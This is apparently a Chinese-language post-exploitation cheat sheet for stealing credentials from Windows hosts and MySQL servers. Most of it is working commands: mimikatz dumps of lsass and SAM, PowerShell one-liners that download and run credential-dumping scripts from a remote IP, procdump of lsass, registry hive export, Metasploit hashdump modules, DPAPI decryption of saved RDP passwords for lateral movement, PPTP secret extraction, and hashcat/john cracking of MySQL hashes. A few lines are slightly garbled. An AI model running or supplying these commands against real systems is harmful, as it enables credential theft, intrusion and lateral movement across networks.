Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是**LAN Manager(LM)哈希和NT LAN Manager(NTLM)**哈希。
LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈
希
所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行 一次数学加密函数运算,然后返回一个固定长度的字符串。
现在已经有了更新的NTLMv2以及Kerberos验证体系。
Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一 部分是LM-hash,第二部分是NTLM-hash。
Windows系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
Windows的认证包括三个部分:
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
python库计算mtlm的hash
pip install passlib
from passlib.hash import nthash
print(nthash.hash('admin')
本地非交互式凭证获取:
> mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
> mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit
Powershell远程加载mimikatz脚本mimikatz脚本链接:
powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred
Powershell加载Get-PassHashes脚本:
powershell IEX(new-object net.webclient).downloadstring('http://xx.xx.xxx.xxx/GetPassHashes.ps1');Get-PassHashes
WCE:Windows Credentials Editor
WCE是跟mimikztz齐名的一款hash管理工具。
官网地址:https://www.ampliasecurity.com/research.html
32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
历史版本下载:https://www.ampliasecurity.com/research/windows-credentials-editor/
这款工具可以读取出当前系统的各个用户的密码hash (包括LM和NTLM)。
在命令行输入Pwddump7.txt就可以读取出hash并显示出来,也可以保存到一个文件中。
Pwddump7.exe > pass.txt 得到的结果格式为
如果网站无法破解出hash值,我们可以使用ophcrack工具配合彩虹表自己破解。
工具下载:https://ophcrack.sourceforge.io/
彩虹表:
https://ophcrack.sourceforge.io/tables.php
http://project-rainbowcrack.com/table.htm
Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 进程导出:
For 32bits:procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用mimikatz还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息。
mimikatz.exe “lsadump::sam /system:system.hiv /sam:sam.hiv” exit
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
传送门
msf中有两个模块,hashdump和smart_hashdump
use post/windows/gather/hashdump //system权限的meterpreter
set session 1
exploit //结果保存在tmp目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
hashdump
logonpasswords
mimikatz sekurlsa::logonpassword
https://github.com/3gstudent/List-RDP-Connections-History
在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密, 解密成功后可使用此凭据继续横向移动。
powershell -exec bypass -f 1.ps1
查看本地机器本地连接过的目标机器:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
选择一个密码文件对其进行解密
privilege::debug
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentia ls\1E85A94EE31F584E484B8120E3ADA26
此处需要记录下guidMasterKey的值,待会要通过 guidMasterKey找对应的Masterkey。
根据guidMasterKey找到对应的Masterkey:
mimiazt
sekurlsa::dpapi
然后再通过Masterkey解密pbData数据,拿到明文RDP连接密码
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266 /masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a44 8c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。
获取PPTP配置信息
type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令
mimikatz获取PPTP密码
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
命令行下连接VPN
rasdial "VPN1" admin1 admin1@
命令行关闭VPN连接
rasphone -h "VPN1"
一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数 据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限 后即可直接从数据库连接文件中读取。
一般都包含有数据库类型,物理位置,用户名和密码等信息。
MYSQL数据库文件共有“frm”、“MYD”“和MYI”三种文件类型
“.frm” 是描述表结构的文件
“.MYD” 是表的数据文件
“.MYI” 是表数据文件中任何索引的数据树
与用户相关的一共有三个文件即user.frm、user.MYD、user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root 用户和其他用户的密码
MYSQL数据库的认证密码有两种方式:
MYSQL 4.1版本之前是MYSQL323加密
MYSQL 4.1和之后的版本都是MYSQLSHA1加密
MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询, 前者是MYSQL323加密,后者是MYSQLSHA1方式加密。
MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生存的是41位字符串,其中*是不加入实际的密码 运算中,MYSQLSHA1加密的密码的实际位数是40位
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值
破解Hash值得方法:
在线网站破解 cmd5 somd5
hashcat破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E
john the ripper破解(kali自带)
john --list=format |grep mysql
john --format=mysql-sha1 mysql.hash
在Windows系统下保存密码,无非就存在于两个位置:注册表、文件
工具:
how-does-navicat-encrypt-password
SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。